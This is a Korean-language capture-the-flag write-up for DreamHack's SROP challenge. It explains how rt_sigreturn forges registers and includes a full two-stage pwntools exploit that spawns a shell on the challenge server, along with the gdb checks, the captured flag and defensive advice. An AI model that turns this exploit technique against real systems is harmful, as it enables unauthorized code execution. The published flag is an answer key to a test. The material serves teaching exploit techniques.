문제: DreamHack — SigReturn-Oriented Programming 분류: Pwnable (System Hacking) 난이도: 🥉 Bronze 1 FLAG:
DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | SigReturn-Oriented Programming |
| 난이도 | 🥉 Bronze 1 |
| 분류 | Pwnable |
| 제공 파일 | srop (ELF 64-bit), srop.c |
| 서버 | host3.dreamhack.games:12019 |
| 보호 기법 | Partial RELRO · No Canary · NX · No PIE |
| 핵심 취약점 | 스택 오버플로우 + pop rax; syscall; ret gadget → rt_sigreturn으로 레지스터 위조 → execve |
문제 설명은 짧다. "Exploit Tech: SigReturn-Oriented Programming에서 실습하는 문제입니다." 딱 이 한 줄이다. 바이너리도 20줄이 안 된다 — 16바이트 버퍼에 1024바이트를 읽어들이는 함수 하나, 그리고 pop rax; syscall; ret이라는 세 줄짜리 gadget 함수 하나가 전부다. NX가 걸려 있어 셸코드를 스택에 심어 실행할 수는 없지만, 이 gadget 하나만으로 커널의 시그널 처리 메커니즘을 직접 조작해 임의의 시스템 콜을 만들어낼 수 있다.
🧩 배경 — rt_sigreturn과 시그널 프레임
리눅스에서 프로세스가 시그널을 받으면, 커널은 현재 레지스터 상태(rax, rdi, rsi, rsp, rip, eflags 등 전부)를 struct sigcontext 형태로 스택에 통째로 저장해두고 시그널 핸들러를 부른다. 핸들러가 끝나면 그 저장해둔 상태를 다시 CPU에 복원해야 하는데, 이때 쓰이는 시스템 콜이 rt_sigreturn(x86-64에서 번호 15)이다.
문제는 이 복원 과정이 커널 입장에서는 "지금 스택에 있는 걸 그대로 믿고 레지스터에 채워 넣는" 동작이라는 점이다. 커널은 그 sigcontext가 진짜 자신이 예전에 저장해둔 것인지 검증하지 않는다(정확히는 매직 넘버 정도만 확인하고, 정상적인 상황이라면 사용자 코드가 임의로 rt_sigreturn을 호출할 이유가 없다는 전제로 설계돼 있다). 그래서 공격자가 rax=15로 syscall을 실행시킬 수만 있다면, 그 뒤에 커널이 sigcontext로 읽어들일 자리에 원하는 레지스터 값을 통째로 채워 넣는 것만으로 rdi, rsi, rdx, rip, rsp를 포함한 전체 CPU 상태를 한 번에 위조할 수 있다. 이게 SigReturn-Oriented Programming, 줄여서 SROP다. gadget 하나로 인자 여러 개짜리 시스템 콜을 한 번에 완성할 수 있어서, ROP 체인을 길게 엮을 필요가 없다.
pwntools는 이 sigcontext 레이아웃을 SigreturnFrame 클래스로 그대로 감싸둬서, 필드에 값만 채우고 bytes()로 뽑으면 바로 커널이 읽을 프레임이 된다.
🔬 소스 분석
// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}main은 16바이트 버퍼에 1024바이트를 읽어들이는 게 전부다. 길이 검증이 아예 없다. gadget 함수는 인라인 어셈블리로 pop rax; syscall; ret 세 줄을 박아뒀는데, 컴파일 옵션에 -fno-stack-protector -no-pie가 명시돼 있으니 카나리도 없고 주소도 고정이다.
file srop && checksec --file=srop
NX가 켜져 있어 스택에 셸코드를 올려 바로 뛸 수는 없다. 하지만 스택 오버플로우로 리턴 주소는 얼마든지 덮을 수 있고, No PIE라 gadget 함수 주소도 실행할 때마다 항상 같다.
objdump -d -M intel srop --start-address=0x4004e7 --stop-address=0x400517
gadget 함수는 컴파일러가 붙인 push rbp; mov rbp,rsp 프롤로그로 시작하기 때문에, 우리가 정말 원하는 pop rax; syscall; ret 세 명령은 함수 시작 주소(0x4004e7)가 아니라 그보다 4바이트 뒤인 0x4004eb에 있다. syscall은 0x4004ec, ret은 0x4004ee. main의 read(0, buf, 0x400) 호출부도 보이는데, buf는 스택에 16바이트만 잡혀 있어서 오프셋만 알면 saved rbp와 리턴 주소까지 그대로 덮을 수 있다.
💣 핵심 취약점 — 2단계 SROP 체인
리턴 주소를 0x4004eb(pop rax)로 덮고 그 뒤에 15를 이어 쓰면, main이 ret할 때 pop rax가 그 15를 집어삼켜 rax=15가 되고 곧바로 syscall이 실행돼 rt_sigreturn이 걸린다. 여기까지는 흔한 SROP 도입부다.
문제는 그 다음이다. rt_sigreturn으로 execve("/bin/sh", 0, 0)을 바로 걸려면 rdi에 "/bin/sh" 문자열의 주소가 있어야 하는데, 이 프로그램은 ASLR이 켜진 채로 돌기 때문에 스택 주소를 미리 알 수 없다. 스택에 문자열을 심어봐야 그 주소를 모르면 rdi에 넣을 값이 없다.
여기서 No PIE라는 조건을 다시 쓴다. .bss(0x601030)는 코드·데이터 영역과 마찬가지로 실행할 때마다 항상 같은 주소다. 다만 .bss가 항상 쓰기 가능한 건 아니다 — Partial RELRO가 걸린 바이너리라 .got을 포함한 일부 데이터 영역은 초기화 후 read-only로 바뀐다. 실제로 어디까지가 RELRO에 걸리는지 프로그램 헤더로 확인했다.
readelf -l srop
두 번째 LOAD 세그먼트(RW)가 0x600e10부터 0x601038까지를 담고 있고, GNU_RELRO는 그중 0x600e10~0x601000(0x1f0바이트)만 커널이 나중에 read-only로 바꾼다. .bss가 시작하는 0x601030은 이 RELRO 범위를 벗어나 있어서, 프로그램이 다 초기화된 뒤에도 여전히 쓰기 가능한 영역이다. 그래서 전략을 2단계로 나눴다.
- 1단계: 오버플로우로 만든 첫 번째 sigreturn frame이
read(0, BSS, 0x200)을 실행하도록 레지스터를 위조한다. 이 read는 소켓(또는 stdin)에서 계속 데이터를 읽어오므로, 이어서 보내는 바이트가 그대로.bss에 적재된다. - 2단계:
.bss에 적재된 내용은 다시pop rax; syscall; ret체인 + 두 번째 sigreturn frame이다. 이번 frame은rax=59(execve),rdi=BSS 안의 "/bin/sh" 주소로 채워져 있어서, 두 번째rt_sigreturn이 걸리자마자execve("/bin/sh", 0, 0)이 실행된다.
즉 절대주소가 필요한 곳(문자열 포인터)은 전부 스택이 아니라 고정된 .bss로 옮기고, 스택 쪽은 상대 오프셋만으로 처리했다. 스택 leak이 단 한 바이트도 필요 없다.

런타임으로 확인 — 1단계 frame이 실제로 먹히는가
정적 분석만으로는 sigcontext 필드 이름을 잘못 채워도 컴파일이나 실행 자체는 되기 때문에, 실제로 커널이 우리 값을 읽어들이는지 gdb로 직접 확인했다. pop rax와 syscall 두 지점에 브레이크포인트를 걸고 1단계 페이로드만 넣어 실행했다(2단계는 아직 안 보낸 상태).
break *0x4004eb
commands
silent
printf "[pop_rax 0x4004eb] about to pop rax <- *rsp = %#lx\n", *(long*)$rsp
continue
end
break *0x4004ec
commands
silent
printf "[syscall 0x4004ec] rax=%#-4lx rdi=%#-4lx rsi=%#-10lx rdx=%#-6lx\n", $rax, $rdi, $rsi, $rdx
continue
end
run < payload1.bin
0x4004eb 브레이크포인트에서 *rsp가 0xf(15)인 게 보이고, 0x4004ec가 두 번 찍힌다. 첫 번째는 pop rax 직후라 rax=0xf뿐이고 나머지 레지스터는 아직 main의 원래 read 호출에서 남은 찌꺼기 값이다. 두 번째가 진짜 증거인데, rt_sigreturn이 끝나고 나서 다시 syscall 주소로 rip가 복원된 시점이라 rax=0, rdi=0, rsi=0x601030, rdx=0x200이 그대로 찍힌다 — 우리가 frame에 채운 read(0, BSS, 0x200) 인자와 정확히 일치한다. 이 뒤로는 2단계 페이로드를 안 보냈으니 read가 EOF(0바이트)를 반환하고, .bss에 아무것도 안 쓰인 채로 ret이 주소 0을 팝해 SIGSEGV가 난다. 실제 익스플로잇에서는 이 타이밍에 맞춰 2단계를 이어 보내기만 하면 된다.
🎯 익스플로잇 설계
레지스터/오프셋을 정리하면 이렇다.
1단계 (스택, buf[16] 기준 오프셋)
| 오프셋 | 내용 |
|---|---|
+0x00 | buf[16] — 아무 값이나 (junk) |
+0x10 | saved rbp — 아무 값이나 (junk) |
+0x18 | 리턴 주소 → 0x4004eb (pop rax) |
+0x20 | pop rax가 집어삼킬 값 = 15 (rt_sigreturn) |
+0x28 | sigreturn frame #1: rax=0, rdi=0, rsi=BSS, rdx=0x200, rsp=BSS, rip=syscall(0x4004ec) |
2단계 (.bss = 0x601030, 1단계의 read()로 적재)
| 오프셋 | 내용 |
|---|---|
BSS+0x00 | 1단계 syscall 뒤 ret이 여기를 팝 → 0x4004eb (pop rax, 재사용) |
BSS+0x08 | pop rax가 집어삼킬 값 = 15 (rt_sigreturn, 두 번째) |
BSS+0x10 | sigreturn frame #2: rax=59(execve), rdi=BSS+0x10+248(→ "/bin/sh"), rsi=0, rdx=0, rip=syscall |
BSS+0x108 | "/bin/sh\0" 문자열 |
frame #2의 크기(pwntools SigreturnFrame)는 248바이트라, rdi는 그 frame이 끝나는 지점을 그대로 가리키게 계산했다. 손으로 오프셋을 틀리기 쉬운 부분이라, 실제로 pwntools가 채워주는 필드값과 크기를 직접 출력해서 표와 대조했다.
frame2 = SigreturnFrame(arch='amd64')
frame2.rax = 59
frame2.rdi = BSS + 16 + len(bytes(frame2))
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = SYSCALL
print('[frame2] sizeof =', len(bytes(frame2)), 'bytes')
print('[frame2] rax(syscall#) =', frame2.rax, ' rdi("/bin/sh" ptr) =', hex(frame2.rdi))
🚀 Full Exploit
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
POP_RAX = 0x4004eb # pop rax ; syscall ; ret
SYSCALL = 0x4004ec # syscall ; ret
BSS = 0x601030 # writable, fixed (no PIE), past GNU_RELRO range
p = remote('host3.dreamhack.games', 12019)
# ---- stage 1 : stack overflow -> rt_sigreturn -> read(0, BSS, 0x200) ----
payload1 = b'A' * 16 # buf[16]
payload1 += b'B' * 8 # saved rbp
payload1 += p64(POP_RAX) # overwrite return address
payload1 += p64(15) # popped into rax : SYS_rt_sigreturn
frame1 = SigreturnFrame(arch='amd64')
frame1.rax = 0 # SYS_read
frame1.rdi = 0 # fd = stdin
frame1.rsi = BSS # buf = BSS
frame1.rdx = 0x200 # count
frame1.rsp = BSS # rsp after syscall -> next 'ret' pops from BSS
frame1.rip = SYSCALL # execute syscall directly (rax already set)
payload1 += bytes(frame1)
p.send(payload1)
# ---- stage 2 (written into BSS by the read above) : rt_sigreturn -> execve("/bin/sh", 0, 0) ----
frame2 = SigreturnFrame(arch='amd64')
frame2.rax = 59 # SYS_execve
frame2.rdi = BSS + 16 + len(bytes(frame2)) # -> "/bin/sh\0" placed right after frame2
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = SYSCALL
payload2 = p64(POP_RAX) # BSS+0 : first 'ret' (from stage1) jumps here
payload2 += p64(15) # BSS+8 : popped into rax -> SYS_rt_sigreturn again
payload2 += bytes(frame2) # BSS+16 : sigcontext for execve
payload2 += b"/bin/sh\0" # path string
time.sleep(0.3)
p.send(payload2)
time.sleep(0.5)
p.sendline(b'id')
p.sendline(b'cat flag')
print(p.recvrepeat(timeout=5).decode(errors='replace'))
p.close()두 단계 사이에 time.sleep(0.3)을 둔 이유는 1단계 read()가 소켓에서 아직 도착하지 않은 2단계 바이트까지 한 번에 삼켜버리는 걸 막기 위해서다. TCP 세그먼트가 분리돼 도착하면 1단계 read(0, buf, 1024)는 그 시점까지 온 데이터만 가져가므로, 2단계 바이트를 살짝 늦게 보내는 것만으로 순서가 보장된다.
실제 서버에 돌린 결과다.

[+] Opening connection to host3.dreamhack.games on port 12019: Done
[*] stage1 len=288
[*] stage2 len=272
uid=1000(srop) gid=1000(srop) groups=1000(srop)
DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}
[*] Closed connection to host3.dreamhack.games port 12019📝 정리
pop rax; syscall; ret처럼 짧고 무해해 보이는 gadget 하나가 사실상 완전한 ROP 체인과 맞먹는다. 일반적인 ROP는 인자 하나짜리 시스템 콜을 만드는 데도 pop rdi; ret 같은 gadget을 여러 개 엮어야 한다. SROP는 gadget 단 하나로 rax부터 rip, rsp까지 CPU 상태 전체를 한 번에 위조하기 때문에, 바이너리에 syscall 명령이 단 하나만 있어도(혹은 syscall을 호출하는 라이브러리 함수 하나만 있어도) 공격이 성립한다.
ASLR이 켜져 있어도 No PIE 하나만으로 리크 없는 익스플로잇이 가능하다. 스택·힙·라이브러리 주소는 실행마다 바뀌어도, 코드와 .data/.bss는 여전히 고정이다. 필요한 절대주소(이번 문제에선 "/bin/sh" 포인터)를 스택이 아니라 그 고정 영역으로 옮기기만 하면, 나머지는 상대 오프셋만으로 충분하다.
방어는 실행 흐름 자체를 막는 데 있다. rt_sigreturn 남용을 막는 가장 확실한 방법은 seccomp로 허용 시스템 콜 목록에서 rt_sigreturn을 별도 제한하거나(다만 정상적인 시그널 처리에도 쓰이므로 완전 차단은 까다롭다), 애초에 스택 오버플로우 자체를 스택 카나리·FORTIFY_SOURCE·정확한 길이 검증으로 막는 것이다. 이 문제처럼 -fno-stack-protector로 카나리를 꺼둔 채 길이 제한 없이 read를 호출하면, gadget이 단 3바이트만 있어도 그 뒤 시스템 콜 전체를 공격자가 설계하게 된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…